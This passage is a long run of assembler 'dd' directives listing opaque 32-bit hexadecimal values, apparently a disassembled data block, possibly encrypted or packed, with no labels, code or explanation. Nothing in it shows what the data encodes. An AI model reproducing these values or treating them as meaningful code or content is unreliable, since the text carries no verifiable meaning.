0CFA6621Fh dd 2E463570h, 0EF603173h, 286C2329h, 6B183E15h, 1D144B13h dd 8439959Fh, 2FBE29B6h, 96F5A322h, 787B1A7Ch, 53E91523h dd 0DF56F87h, 7A4FF5A6h, 0DDCF5F6Ah, 69E2AC93h, 566A23B2h dd 18B55D92h, 0C629B860h, 2B056C94h, 0BA3CDF37h, 0AC7EF876h dd 0FF7DC63Ah, 46FD396Dh, 0B9EAD245h, 284A9171h, 0BC43F779h dd 4533B193h, 0B2B10D4Dh, 37630342h, 0E24FD235h, 239DD576h dd 0A01928C2h, 4AF6CC26h, 0E81838B5h, 5C445EA4h, 0C4D285C5h dd 0AE92AA24h, 9982355Bh, 24F42D52h, 3612D954h, 0A9E5EDAAh dd 95264D91h, 75186AB5h, 0A6307A65h, 7FCA109h, 415F354Dh dd 0F19076Ah, 0A132B509h, 0ADF42643h, 5B22F506h, 612C5744h dd 5C5CE9F6h, 0E9DCF9ECh, 0BB1F4A5Bh, 65103109h, 0C0BEE92Dh dd 0F71473EBh, 0B0FD1576h, 37223570h, 5DDE1361h, 0CB43DD55h dd 91211E3Eh, 5D77867Fh, 9218AD43h, 8F89EE9Ch, 20014487h dd 54B637B6h, 0B565BAB8h, 3EDB9C5Ch, 76D4AA7Ah, 0D09E1652h dd 83BBF320h, 83C002C8h, 90E4A88Dh, 0D2B80A3Bh, 84B9A88Bh dd 0B3232C72h, 0BA0803DCh, 5C8DDC57h, 5ED6D823h, 0A0CEEDF7h dd 0A817DB3Bh, 6801D54Fh, 11262F3Ch, 142057D0h, 51D22D2Eh dd 9D83E5CDh, 80CA2236h, 8FCF35F5h, 15225737h, 1589EA64h dd 0CECBD07Ch, 0E5E66CAAh, 0C81CF797h, 0BE0834Dh, 156195D7h dd 280BE121h, 0AB770003h, 8017BCB6h, 5FCA00A3h, 8EF4B103h dd 9DE528DAh, 962AEAA3h, 0CDA7E295h, 9F6CA357h, 723998A6h dd 8A8733E2h, 0B734DDDCh, 390C011Dh, 8697F70Ah, 0A6C137BCh dd 0EA17D3B5h, 0A166CC7h dd 4400E114h, 44DCDEF0h, 2C412996h, 4BF27F5Ch, 0C1EDF3A2h dd 0C9418D51h, 0B7E6997Bh, 0B8CFF46Ah, 0CA3B2D81h, 0A2A18202h dd 3A510544h, 9F3A8949h, 0A0BA3C9Ah, 3B3A33C4h, 5C0F48E3h dd 4A23ABBCh, 2FDAE38h, 64AAB702h, 0E0B19734h, 0DBF4934Dh dd 0E5FDA79Ah, 87A3A0FAh, 478950ECh, 97C17336h, 0DCA63685h dd 0EBD0027Bh, 4CBBEC53h, 0BFAE4D7Dh, 29C42424h, 1261A53Ch dd 0E54A850Bh, 0BAF998E7h, 55802299h, 0B5D037ADh, 0B88B625h dd 0BAFDDFE4h, 0E1CE2E24h, 0B6552D52h, 0CF226C24h, 0EB9459Ah dd 0D81DC4FFh, 0FC4C4977h, 0C6FA2724h, 0E6F56611h, 7F1FB5C1h dd 0C8138030h, 0A9290016h, 0CB101C6Ch, 0AD4DC1A3h, 0A4BA82E4h dd 0BB22CF62h, 2C79379Fh, 0D03F1D3Ch, 0D19881DFh, 1DBB9198h dd 80B238B8h, 0D0F1CB3Ah, 1DEDC0BFh, 95455421h, 4B0B728Ch dd 17FB6766h, 952C975h, 0D4CE9766h, 0DF0BDC20h, 42F783E0h dd 149847A2h, 207C6EA8h, 9C35A246h, 800134ACh, 43A54E73h dd 0E1E12DE5h, 5624AEE0h, 0F8DFAA9Eh, 4CE90EF7h, 0B8124BB1h dd 1F805622h, 0FE90A48Ah, 0FEF2B142h, 0E41072Fh, 0C4CB7F59h dd 1A1C9FBCh, 0BA03B45Eh, 245D870Bh, 6C33E0B9h, 3F5435ABh dd 6513B6BDh, 1E739B74h, 3FF91A0Ch, 0CC38C611h, 84B4144Ch dd 0D3D4465Ah, 908B2D5Ch, 0E4416F45h, 1032E06Ah, 0AE3B33A0h dd 8E6B8013h, 850DDD95h, 0A99A54A1h, 71831010h, 23C8A7EBh dd 3ACF4F24h, 0D531AC5h, 12A1BE45h, 0A714373Ch, 168860B5h dd 46552F8Bh, 5DA407E4h, 7B4A93F9h, 0FD3AEDF7h, 0ADA70D56h dd 0B15B540Eh, 723CE95Ah, 741735ACh, 1B487EFDh, 9B339CB6h dd 0BBC5314Ch, 0AB2319CDh, 9E026FBCh, 0B1CE3E35h, 953F265Ch dd 0A022CF41h, 0E8820177h, 8E184EB5h, 88ADF860h, 0C0215482h dd 0CF4BFE67h, 36660ED1h, 0A2C44099h, 7C2ACB55h, 467C3245h dd 0F161E28Eh, 0E68364AFh, 558076B9h, 8A43587Ah, 0A9B81B12h dd 9AC67769h, 5328A5FAh, 0AFCF2D06h, 413FF207h, 124820ECh dd 0A4583A29h, 0E1F01728h, 0CB1EEB63h, 0E2D31960h, 60252FC2h dd 499AF70Dh, 923DC027h, 5CC6AC54h, 0C411D3B2h, 6AC66385h dd 312EF44Ch, 823B0314h, 415CF61Bh, 12C3CBCCh, 559CD5C5h dd 0D4AA5BBh, 50FDEFF3h, 0EE39EFBh, 646C49B0h, 0A7F3A819h dd 0EF25065Ch, 435A3CBDh, 0C6D8DDA4h, 0AC4140Dh, 0A63CCED1h dd 0C6ED29B9h, 0F966E61Dh, 85257FB4h, 80E4069Dh, 8E5BF761h dd 91181222h, 0FABE57F3h, 0AD5F29A7h, 5543352Eh, 9CAB30A7h dd 0BF397492h, 6B250C9Ah, 6F55DDAEh, 5F6D90F2h, 9EDB9A4h dd 194AF523h, 1F35403Fh, 8DDC63EDh, 471BD3CEh, 0FC446EC7h dd 298B2531h, 19782CF3h, 0D36C9221h, 22C53F47h, 6ADE1291h dd 0D54B3B12h, 361CB834h, 5C7C3021h, 0B8D38430h, 0EE9A6022h dd 0F0CE28BEh, 647FE43Ch, 5B0D483Bh, 5DD1696Ah, 921218C2h dd 8D581BA0h, 0DA280521h, 613C6042h, 688219B9h, 0CBE54522h dd 7778225Ch, 82C5A9E9h, 4704B83Fh, 4E0B53F5h, 0F1480E9Dh dd 0C21BED7Fh, 73BD3EB6h, 832BFD53h, 0F4DADF02h, 0ED19AA2Fh dd 0BC01FD03h, 0B2F508D5h, 4EC3B45Dh, 0F7A65E30h, 0D5A250C9h dd 5C1F5DCFh, 5338E11Eh, 0B3ABC538h, 1EB63E33h, 0FE40ACDDh dd 2737000Dh, 6CBD3FA1h, 0A1D18CA5h, 0DB1A31A4h, 1D3B4A37h dd 2A6C7F04h, 0F45AB45h, 0E8E24868h, 1B4C220Ah, 9A094067h dd 4EB76F1Ah, 8D451BB5h, 0B2B8E212h, 73CF7A21h, 720BE555h dd 55C2C737h, 5D3E6047h, 2A4D4A7Fh, 24F4D2C1h, 9F304A60h dd 7E5A03FEh, 6F0BB8EEh, 68C09C55h, 0DDB5C1CCh, 3AA52C9Ah dd 5C9A2292h, 0D85A8710h, 0A6C6D048h, 90C4D2AEh, 96DA464Fh dd 0A0B8DCBAh, 5A2A068Fh, 7377C7C0h, 5DC60DBDh, 78264A22h dd 0A3932C0Dh, 0B399345Ah, 13AA2BDBh, 63BD1025h, 851C60B5h dd 0D83205Eh, 5BFE09B2h, 0BA0ED31Ch, 0C8E34A95h, 8A4161E1h dd 0AB38E88h, 2F80A94Fh, 22A37064h, 0F68D004Fh, 0A9E5681Ah dd 13136484h, 0BBEE0D07h, 24595C1Bh, 79EC2B3Fh, 5A9E41ACh dd 1C3EEECFh, 0DA9B35ADh, 0E1C6B40Bh, 0ACCF3EB2h, 4543B7D9h dd 9B40A9FDh, 0BDFD5DB6h, 7B582F84h, 1B1BCC12h, 1E7623F2h dd 0E038FD42h, 0B373FC13h, 0A4D034B4h, 0FA7AEBE8h, 0B34E4A3Fh dd 24D6E397h, 97B9CB7Fh, 65CD7199h, 4268515Ah, 0E5115DFh dd 24473D1Eh, 0FA3F1953h, 10C2E11Fh, 32E5B169h, 0C501F37Eh dd 9C51C243h, 86910BA2h, 6D974BF3h, 0CE2425D1h, 4A7E5423h dd 3EBEE6BCh, 0FA17C7E9h, 0D625356Ah, 4BCF0FB6h, 43E276h dd 0B73AC8DCh, 37233AABh, 2C6837Ch, 0B53CA8CCh, 0A02ADFA6h dd 0BE3A3FE1h, 7E97A739h, 30208B3Ch, 561FFC19h, 8A216E1Eh dd 0FC063AFh, 0A6851D0Ch, 0BD4BA20Eh, 0DC6F53B1h, 0FC5AC414h dd 74065146h, 271A72E8h, 283976EAh, 0EB46D1E6h, 9EF4225Ch dd 1D63A106h, 760658CAh, 89771CBFh, 18C20C13h, 0FF05BE0Ch dd 6684F71Dh, 0DF38DD85h, 5A97D530h, 0A80FABB5h, 4F85707Dh dd 8967ACEAh, 0D9EDF9F8h, 3B302850h, 70041990h, 0F1B524DBh dd 0E0500D96h, 0DE9489A9h, 0E0F820E0h, 0A58F880Dh, 0CF9FF1D6h dd 9EB99655h, 63022EDBh, 54CEC03Bh, 4E3AC6B1h, 7159F6C7h dd 8672AC38h, 0EA711708h, 9C12C0FAh, 0A495C310h, 9F028E7Dh dd 0B027C0E8h, 0A10F61A1h, 69BCA83Ah, 5F9245A4h, 4A30EDFFh dd 775828A0h, 48F53B65h, 6B30AE10h, 8B151D63h, 0BA08ECFBh dd 733FC8BBh, 0AF2C71E7h, 247F8DD3h, 0AE8F95B8h, 0ACD3E79Ch dd 0B360D4ADh, 952A1C51h, 0A130A823h, 0BE1C6C0Ch, 8F7351D5h dd 0D76A77A6h, 2441114Ah, 1A9A80FDh, 0F11F565Ah, 0A3B036E7h dd 1ECDE61Ch, 0FDC535ADh, 694802A3h, 0E8A84C3Dh, 0AB73802Eh dd 0E4976EA2h, 0B7540F3Dh, 0BB7703FAh, 0B4092D3Bh, 7A7D5397h dd 0A51A5BE9h, 99FC13EFh, 0FB6C485Dh, 0A496E8CEh, 5F2AD24Bh dd 2C2135AEh, 0F5C467BFh, 0A27CC724h, 2586EFB8h, 5176D2DAh dd 7C58330Ch, 0A06E287Fh, 90A894F4h, 0EBFDF4B0h, 803DD0Ch dd 0EEFA5053h, 66E91C63h, 25B43E45h, 22FC2BA5h, 853E1061h dd 6209E95Ch, 1A08DC67h, 0F87A26EEh, 0B3597D57h, 0C260858Eh dd 0C9DA4EB3h, 0B43FA351h, 12322D11h, 4BB1ECE5h, 9CA32F83h dd 78B04A2Dh, 0A14EDD71h, 0FFBAB2CDh, 4652AEA3h, 11BBB7F7h dd 0CDACDDDDh, 589B4D98h, 935CE94Eh, 7935A86Bh, 672A51Ch dd 2DF58ADCh, 0CD7912AAh, 818E63E6h, 4DAB1578h, 0BA957A07h dd 563DAB76h, 0B4CEC048h, 0DED8D34Ah, 0BC1163DAh, 0EB8BDD7Ch dd 45B9CDA2h, 92772DF2h, 0A45F292Eh, 9C2E755Eh, 2407FB35h dd 541F537Eh, 7DFF7DE2h, 0AA20726Ah, 0B768648Ah, 19EE594Ch dd 8366C127h, 0E9FF4B5Ah, 50FD39BBh, 0B7793746h, 0E796BB7Dh dd 54811864h, 14F61582h, 0BB7BA2E5h, 0AF9B9E9Ah, 0CF53B37h dd 1C5AB9C3h, 0AE88A49Bh, 0BAAAE0ABh, 4392D216h, 51992779h dd 1B9201A9h, 61BBA1F7h, 82EFA39Ah, 0B87AAC22h, 0A539F810h dd 0DCD0D39Ch, 0EE04EB7h, 496BE57Dh, 0AD622BB5h, 0B14C2BDFh dd 2B1E3D65h, 0E7C51BB6h, 0D8F149A0h, 494F8038h, 0A6F4876Eh dd 831E6656h, 0BB2DE572h, 3F74EC4Eh, 0BFD649A3h, 32CEDE56h dd 0D670C725h, 31C1360Ah, 2FF3021h, 0E6B3EAC1h, 842297DBh dd 0F43D9E60h, 0E50940E1h, 6870DB28h, 7B9A4B4Bh, 671E91F7h dd 33D2E93Ch, 333EF948h, 393D2B4Dh, 62BA3ABFh, 76794CB5h dd 0CAED7DB0h, 87E4125Fh dd 0A06FD5FDh, 25E7A70Eh, 29936548h, 0FA3436AAh, 902FDDF8h dd 0CAE29164h, 0CB02FA1Fh, 16805975h, 5A594ABEh, 0C9471D3Ah dd 54A8141h, 0B05D6045h, 0CB7F4EA3h, 9C19507Ah, 8580A855h dd 56E24889h, 67461BBEh, 91099011h, 0CB525C5Bh, 24443A70h dd 92A45517h, 4954B898h, 0F4E23ABBh, 0BBADFA1Dh, 183AEC2Ah dd 93C327E4h, 112D9958h, 1AD849B9h, 85022DEEh, 64808373h dd 0DB3420A3h, 5E3326ACh, 1A432561h, 0D1C3C70Ah, 22822700h dd 0A446D278h, 9CD82460h, 0DB89AE71h, 0AE535397h, 6C38F438h dd 6B9063D7h, 0DF15CD0Eh, 0C4A6494Dh, 0E79B0C50h, 5F9AAE52h dd 0A61103BBh, 0C306CCA7h, 9882FA83h, 669D3107h, 8D1E3A23h dd 0A359F454h, 0CB139EA4h, 0AA1CE5CCh, 0EE436A52h, 0C4702BDh dd 84F2D0EAh, 7A859397h, 33540D82h, 1BDC9A80h, 4344A043h dd 4C94E5A8h, 43FD36BDh, 82F1E724h, 34E74F18h, 0C44024EAh dd 101BED49h, 9B3AA044h, 15DEDD0Eh, 8AE9C701h, 0B29333C1h dd 10F7597Ch, 0AAC722BFh, 0BFDAF10Eh, 2E2B13ACh, 4E5980A3h dd 0B0E269AEh, 76ACB13Ah, 1DE625FAh, 51BE2D21h, 0D23A6911h dd 0F2025F62h, 3937DD45h, 0A13F02Fh, 283611F6h, 8F7ABD0h dd 0A309F3Dh, 6C38EFE0h, 0C032F206h, 0D8C28BD0h, 0D73CDD06h dd 0AA5993C3h, 5E00D17Bh, 47558D61h, 28F0B251h, 634585E7h dd 0C029D8C8h, 0DA4CED15h, 654255B1h, 86EBF796h, 0A6B4018Bh dd 67BA2F5Dh, 0ACCB495h, 7A0436DDh, 6F0A3DF5h, 26153699h dd 95C51089h, 0ADC91145h, 0A8C5DEBBh, 2410C0E6h, 0A1CB0DACh dd 0D462A2F3h, 0BA37C0FAh, 0B9FE6F21h, 13F6401Dh, 58BB2E5Dh dd 349136F5h, 7AF75B02h, 2C9DEBA1h, 2B76EBE4h, 0FA227EBFh dd 1B464D65h, 12D74889h, 4013B260h, 54094DA2h, 47A523BBh dd 0B90D292Bh, 390B797Dh, 73298FC1h, 96D12C66h, 0BDF249BDh dd 627B22BCh, 595E2054h, 1834A6B3h, 29331C71h, 5A190EA3h dd 0BDCE0BAAh, 82B449EEh, 0C2082490h, 0AEA4711Ch, 0E0073338h dd 112579AEh, 0DF658D9Ch, 87796756h, 5E3FD220h, 84597164h dd 2052ABB7h, 59232C98h, 0A48F3847h, 0ED235145h, 508506A0h dd 2316B9Ch, 0CB08A874h, 0D35A1816h, 0DDFA1C73h, 23B1B98h dd 6F201C5h, 0C93895ECh, 0AE2A8131h, 568B2478h, 0AA0662CEh dd 0B83BB7DCh, 9DBFF045h, 0F0CE625h, 9BC58EB1h, 0B345551h dd 0FEF3477Eh, 75BB42Dh, 0EABA2352h, 0B79B3EF9h, 54C136A6h dd 0EBEFCF7h, 969A564Ch, 279E558Eh, 0CBFFF426h, 3FD5578h dd 2339B7h, 5027168Fh, 9281F241h, 0B6B5911Eh, 6E1B44A3h dd 300A6200h, 3EEA4C60h, 0FCF85941h, 0B12ADEB1h, 4277E29Dh dd 4FD2D772h, 9C20CABCh, 9E5BACA9h, 1F8129BCh, 1F5B1171h dd 92820D02h, 8950F66Ah, 0D0506756h, 36C93BDFh, 94C03C1h dd 757AE323h, 98C131F4h, 0AA62E8A4h, 4E8881BCh, 41F14ABh dd 0CF1DFBFFh, 0F0B2BE02h, 0ECDEAC77h, 0D2F17D63h, 0E551CFE7h dd 4702D1B0h, 45D14E9Ah, 0BA81A6A1h, 27053D35h, 3046BCE8h dd 7D7B1BBCh, 0E9982D7Dh, 0A152E70Dh, 0FC73483Dh, 1200B707h dd 49FAAE63h, 23124EB0h, 0EADD5A7Bh, 0E8FE2AF3h, 0D14EEEA4h dd 1A10A44Ch, 85E5E08Dh, 756EE05Ch, 0A4085A11h, 637FBBBCh dd 83FF4DABh, 0ABA959BDh, 221B2D8Dh, 51CE646Ah, 18F6E91Dh dd 805BC5ADh, 7D5A051Dh, 32EE2DD2h, 14B81202h, 6B409C7Dh dd 21605F59h, 0A92D8565h, 0EB176615h, 0AFA1D89Dh, 847C4E91h dd 4592CCD0h, 0DA48E8ACh, 0B9A19068h, 0A42311C4h, 83F2851Eh dd 1B80F71Bh, 0EFDC3C64h, 6F8A0BBEh, 6BBF9BCBh, 246D91F9h dd 0CC5528C4h, 0D2F7B9E9h, 0E446E18Dh, 0E31A6547h, 0F2E5F3F3h dd 8CF2845Ah, 64015A5Eh, 0AF6B2099h, 8174F24h, 97F5DD69h dd 5D0CE973h, 0E600CD40h, 9FE4F87Bh, 474CADB3h, 0C0BC6D4Eh dd 0F16330Eh, 0B909FCB8h, 0FB8BFD5Bh, 711EC331h, 0AC8E399Eh dd 0FBAC480Ch, 3FB3BDDh, 2ABDA8ABh, 38232DB3h, 0A07E0EDAh dd 23F3D2BEh, 0D9475024h, 0CB1BCC1Ch, 2CF60D72h, 0E243D4FCh dd 85320EF1h, 0D6721769h, 98209D9Ch, 927B11FDh, 993ADD83h dd 86462B9Bh, 83F73C34h, 8A291E36h, 5F0708BDh, 0E63818BEh dd 0D97CA625h, 24E7DD4Ch, 85526F5Dh, 6B411455h, 9D561506h dd 0FD595B3Dh, 5C208F7Dh, 0DD0808BDh, 505820B3h, 9D29B954h dd 5A22E773h, 0D1DF28CBh, 23C3BEB7h, 0CF3F4BBDh, 90D534B4h dd 0CB43029Ch, 1502B81Ah, 0DBD8F2BBh, 6D36DD05h, 4F38546Ah dd 58034A0Ch, 0A723D2B9h, 1FF9B865h, 0AF7A4EB9h, 0DA3D654Dh dd 0DF1F4ACCh, 0D136F6E9h, 0BC507CC7h, 0C25D29E3h, 206518DEh dd 4D3D2CC6h, 0E2B2CF3h, 1A61234Ah, 7352A54Eh, 7233D25Eh dd 0C2225872h, 2C685795h, 9437E51Bh, 3A2D2D9Ah, 0F34DEB9h dd 0AD5DA3A2h, 0A30E925Eh, 529527C8h, 264DD0A5h, 0E1132AFFh dd 4613C10h, 0CC189E1Ah, 72E5F9D2h, 19ACC303h, 8928AEBFh dd 34510155h, 71F50C73h, 0AC58C03h, 455D14CAh, 0FCACC8Bh dd 0DE74AA02h, 0DA351155h, 0F19A4955h, 95FB0386h, 1834C96Ch dd 0EEE60CA2h, 1D4AD703h, 852AA904h, 45A1BAD0h, 1A3CED4Ah dd 0CA9CB8A3h, 9C828766h, 0F151825h, 0A5368BDCh, 0BB81E17Ah dd 5A1520FFh, 0CB6AB86Eh, 0FBBFDE31h, 96E7ABA5h, 0ED815F5Dh dd 0E1F80F10h, 25F27BD4h, 0EA2E4A58h, 45B42A45h, 9C27281Dh dd 0BA212AF4h, 6243B0C6h, 46650533h, 8E3CCFA8h, 1336F553h dd 7082AC0Ch, 0B25D011Bh, 0F349200Bh, 0A2110C8Ah, 235B0A9Bh dd 0B0A11312h, 59EBFBF2h, 4CF822BBh, 805D16B7h, 504A73B5h dd 0CEDBE03Ah, 9B46E827h, 12B75936h, 0B464267Dh, 0E2B3E3A2h dd 475A91F2h, 30F66464h, 84B61341h, 0B34D095Eh, 582369DFh dd 6A7DABA0h, 86724563h, 77EBB8B0h, 8200812Fh, 3C24B3EBh dd 0CED12DD8h, 50D3F2DFh, 0E736A5B3h, 9F3289ABh, 8C4A3240h dd 0BDB50ED7h, 0F77C2787h, 5E3A24D1h, 0B4793AF6h, 23EB2873h dd 99233036h, 65905BA1h, 9EFA362Ch, 0AB01372Dh, 4A76993Bh dd 0ADB67CA3h, 0A5122AEFh, 9246B061h, 1DB84930h, 0AAA56AADh dd 27C2A795h, 0DE4D6208h, 75992906h, 197E8BF5h, 0A8648944h dd 0A645FF4Dh, 82312821h, 2DB767D9h, 0B6AFE7F8h, 191C01BEh dd 97ADF813h, 0F6478756h, 7F11D37Ah, 4826DA5Fh, 0A0233118h dd 7FCFFBFh, 1047E3AAh, 0A3041ECCh, 0FCD5F1D3h, 7056FBA1h dd 9526A237h, 20F19B95h, 0E33AA5B8h, 7EC0E1A1h, 0B7AE2574h dd 576DCF27h, 5E636BE7h, 0F0FBC7EDh, 64405195h, 95AFAC41h dd 22DB1AD1h, 0A98D7A52h, 3EECE991h, 5A8D2AAFh, 6340405Ch dd 0D761D311h, 0FB07E3DCh, 1628A8ACh, 9D3B4694h, 65CB5008h dd 0BEE08475h, 7902CB70h, 708567BEh, 0EBA2B7AAh, 23F1209Dh dd 0C5065274h, 5E27B2DBh, 0BF340795h, 9321563Fh, 0AE335728h dd 0EAF29A21h, 0F54EBC96h, 1D38BB56h, 1845E07Fh, 0DC09E7BDh dd 40B1AE31h, 265FA966h, 880160A1h, 2C80F231h, 92F31D38h dd 80823646h, 38FF88A1h, 0D9B0F375h, 0F79AC65h, 8F3AB59h dd 4057B4A4h, 94B6F127h, 111D6E6Ah, 257FE6B1h, 5D0AC333h dd 61BCB6BDh, 10090965h, 0DAA75B90h, 386EDC58h, 283A32DCh dd 9E2C03F5h, 0F0476013h, 94092DBCh, 6CA6CF08h, 822E94C2h dd 0D0BCB8FFh, 0D911D861h, 239E0055h, 0D6FB820Ch, 0DFEF4A85h dd 2F45D822h, 0A16F5650h, 3C2AA8C4h, 570515BDh, 8BD0CE44h dd 0A21170Fh, 6F1D1441h dd 953CF09Ah, 0DD322AA1h, 9C981177h, 0BF0A349Ah, 0AD02F148h dd 82F83711h, 0CCEB0108h, 47907DBAh, 0FCF1D129h, 7A20A840h dd 2CF27EFh, 0AD36BEB5h, 0FC8D9EA4h, 9C2FBEA8h, 3B35DCA9h dd 0B4E7092Eh, 47FB0373h, 0D110F1C1h, 82CB1495h, 0A5783E9Bh dd 6352AFB8h, 5A69228Fh, 0F85399E2h, 0A030BC62h, 583AE329h dd 2AEDE2B4h, 64619118h, 0C578D4E5h, 82A4BD0h, 0F7B26FD1h dd 79176DF4h, 32EE8CCh, 115BFBB1h, 45A2641h, 0B0FE2A47h dd 2284A531h, 9FBEA923h, 5B59482Eh, 8E0D2A6Bh, 5311BEh dd 0BA372820h, 5110210Eh, 41B7FE72h, 25005270h, 0DC65E11Bh dd 1C180462h, 45A365EFh, 3F229964h, 623FFCA2h, 9FEF0C20h dd 5C984E77h, 990CAB4Eh, 0B65BB91Bh, 82D8FA06h, 0EB48A945h dd 15B2B79Bh, 6AE06632h, 90355B0Fh, 3E80406Ah, 0A41E2441h dd 8925FF47h, 82C31C71h, 0BEA80846h, 92F71799h, 1F1A7107h dd 4A7D09AEh, 28798009h, 1ED1A8FFh, 2989306Bh, 7A2CD2B3h dd 2EBB31AAh, 8EDE2C74h, 85BAE135h, 9C0C6349h, 0BA123111h dd 858BA0BCh, 28A2A182h, 57DF0448h, 0D933205Bh, 0B0CEE89Ah dd 347A06ABh, 4BEB2B4Ch, 0E2F939DAh, 0BAC96093h, 0B9F8F2ACh dd 0CE210B9h, 45CB28B2h, 4DF4372Eh, 859B4869h, 25F7F885h dd 14E467CEh, 3FCEFCAEh, 4822026h, 2C1649A8h, 9734F888h dd 0BC715011h, 5E06E485h, 4C584857h, 0ABCE2F3Ch, 96ABB427h dd 0CDE9399Dh, 7E596D68h, 701C36ADh, 0EA0795A0h, 6443ABF3h dd 8A2CAE35h, 0F12AFAFh, 57D12E3Dh, 4FDCEFB2h, 0B56B164Ch dd 0AE948D4Fh, 0A2F66BE1h, 0FFCE14B5h, 0BFC52B95h, 0E9B6261Eh dd 1A9224B9h, 19F86357h, 27E0C74Ch, 0F6FC2088h, 0CFAA70F1h dd 79A8AFFBh, 8DE7C65Eh, 0E04CE8FEh, 0C93AC0E1h, 0C03ADB01h dd 383A4961h, 2B49A0E3h, 311AA4E5h, 9CE2E6ACh, 52894972h dd 0E2812694h, 9343320Dh, 0ED9A9E1h, 0CDF43763h, 90C6C8E3h dd 56EEF3E2h, 9D102561h, 84232EB4h, 5F5CAD21h, 0D470FB8h dd 0DCD888FCh, 42788428h, 4D3B698Ah, 2C1E78F3h, 553CB1EDh dd 0BAE8D2BDh, 570077A4h, 0AD1B5BCDh, 0AE4A352Ah, 0BE3B0413h dd 132ADE58h, 9ED8D545h, 710E7C53h, 0C933B6C2h, 0E75EF224h dd 0AA30CD13h, 221CF1FBh, 0A4CCABBDh, 16E87211h, 0DE68C9A2h dd 330B2B58h, 4E19DE3Dh, 685B9627h, 1CD92A40h, 4673C270h dd 4A955750h, 1DF0DCCBh, 6EBE1AB3h, 747ECE51h, 0CF472B40h dd 0BA0EDCDFh, 2145B172h, 2304B063h, 0AC9A6EBEh, 0AF303D7Fh dd 0A02BC6E8h, 2E2D350Dh, 0BA5F22BFh, 78EBE63Ah, 40A9A4B1h dd 14D3167h, 0A628F724h, 7C8A31A3h, 0F273FC1Bh, 8049A3B3h dd 8FEC1A5h, 7867F72h, 43173168h, 0F0A5359Ah, 0C6A1C5h dd 41C1576Bh, 0EAB5DB4Dh, 731763B7h, 5F7A7D81h, 843DBE65h dd 73FE1C4Ch, 0DEAF7916h, 1F002064h, 2A8AAD9Ah, 0ACB36532h dd 0DFC12F3Bh, 5538F53Fh, 0FB1636F9h, 17EB3493h, 65386E0Ah dd 0FCA8656Fh, 898331E5h, 0ABB72614h, 8696B2E5h, 0B831F58h dd 0A2FF4FBFh, 6F1FEBFAh, 0AA205B32h, 60FC6FBFh, 0FF2F0AA4h dd 44C7177h, 0AC00357Dh, 2C837243h, 0BF04A197h, 6D6B8715h dd 0E510B6BDh, 831E4EBCh, 8BB3537Dh, 0BA8C4B57h, 1D13248Dh dd 725EBBA3h, 8EC3AAF1h, 9C51ECFFh, 257537CCh, 34872D07h dd 8B411D6Eh, 20818429h, 5B59949Ch, 82455D60h, 5EDEFF97h dd 17179562h, 1DDF4BA5h, 58C5F7AAh, 0A8E4CC11h, 8BAF505Bh dd 0C1EE487Fh, 4ABAFCBBh, 51CFEABBh, 867A271Eh, 9BC4A155h dd 0DE165F6Fh, 211120B9h, 0BD16F6C4h, 0FC857129h, 9DE950DDh dd 4259513Ah, 0CD50EF6Bh, 6ADAFB43h, 3BD64BE0h, 0A35BDE6Eh dd 0A95951A5h, 8F3CD88Ah, 686C853Eh, 1B624FB5h, 0A453F728h dd 4B68F60Ah, 0E3A65391h, 96A0AA5Eh, 0DD86ED39h, 0A6CA2DC2h dd 0EEFFC8E7h, 1CC74B53h, 5A2EDC81h, 0F7F1E53Dh, 560004CBh dd 1CCAA150h, 87B72DD9h, 0B9D520FAh, 1D116B25h, 0B36C7779h dd 0DEC0D7A7h, 0AA1ACC11h, 8FC85002h, 0FD4EA72Ah, 0BDFE87BDh dd 0AB869C2Eh, 36242ACAh, 0A8CCBD46h, 2400650Bh, 0E36536Ch dd 3C5128BCh, 8E044523h, 9EA271Ch, 9CE73188h, 9F3B0703h dd 0ACA5C3B4h, 7E324059h, 4B3E594Dh, 0A99ACB37h, 52E3A71Eh dd 0B5CEC9BBh, 0BCA942DDh, 0D6BA230Eh, 554FDB3Ah, 83B439E2h dd 7EDB2A44h, 7AAAC774h, 47DE5AF5h, 0C2F2A763h, 35434849h dd 453E322Bh, 98069C38h, 0A4163681h, 37BD3710h, 572310BAh dd 40F5355Ch, 0B1CE0F5Ah, 441A8D70h, 0B01DB13Ah, 0D43D779Dh dd 86565005h, 1D1574A2h, 95304117h, 784EA661h, 6EC484F3h dd 0CB3A03C5h, 9E3E6D2Fh, 6C185460h, 50220089h, 0B1E53CDDh dd 0B8BA4DD5h, 0AE4887Fh, 52882CB7h, 45B80948h, 2F1BCF10h dd 20C80209h, 22268175h, 601B2F75h, 0F1BAD7DEh, 9C32DE99h dd 0FF7A3791h, 437B5A4Fh, 26DF50A3h, 2AFE2BF3h, 491ABC40h dd 0E0CC416Ch, 519ECDBFh, 0C5BC6A2Ch, 0FCE3D58h, 601EACA0h dd 246C5Eh, 0BBF60959h, 47340BD9h, 6FDA877Fh, 0A81278DEh dd 0A2EA33FDh, 0E3AD2D4Ch, 0CE4BBC5h, 5AA33238h, 644C8D1Fh dd 3AB27AA0h, 6A2FF46Fh, 40F47528h, 9806A3A1h, 0D835F6A3h dd 6A026903h, 1EAFE9F1h, 0FEF069E6h, 62BB08F9h, 5B38DC73h dd 4F5817A6h, 188CA904h, 84C78FCBh, 9CA26640h, 0F8394816h dd 4BC7CB68h, 454082EDh, 0D6A58C6Eh, 0D01FBC45h, 0DD33C0CFh dd 31E4CBA8h, 0F11E6417h, 0C1080F66h, 43055B53h, 7C581520h dd 0C03E623Bh, 0B71F013Eh, 0E8A4836h, 0EEB94203h, 1AC1CF9Dh dd 640AC766h, 417DEDDEh, 0ACCFD938h, 0A4DC1CCCh, 0D5560353h dd 50135DFh, 9C520985h, 0A8334A59h, 5F3FC983h, 4B49B56Fh dd 2098EC11h, 0B3F73B4Ch, 5505396Ah, 0AB771611h, 2918880Dh dd 719C9392h, 0A4DB1975h, 0B15BC716h, 4209CB56h, 7B0ACB6Bh dd 4ADB216Fh, 9C47480Ah, 0A3FEECD7h, 1FB6790Ch, 851ED91Bh dd 32CA31F6h, 837F66B1h, 0BAE8CBA6h, 0EDE610DAh, 0E820A5DBh dd 0A2C9AA28h, 77276F4Bh, 26932877h, 669DFF7Eh, 24392745h dd 7BD26A70h, 7908DDA9h, 650C797Eh, 57059398h, 7A9B65F7h dd 54FC1F45h, 9ED1E7F4h, 0A359604Ch, 0DC6D7AE3h, 1223DEF5h dd 8A3CC135h, 53FC535Ah, 0DC436B3Ah, 0CD3D4022h, 929C17A4h dd 5C258545h, 4CE5DC77h, 5E8E4A79h, 0EABB2BFDh, 8A25603Ah dd 8770BA9Ah, 9E43B861h, 9DBBAC75h, 1294F75Ch, 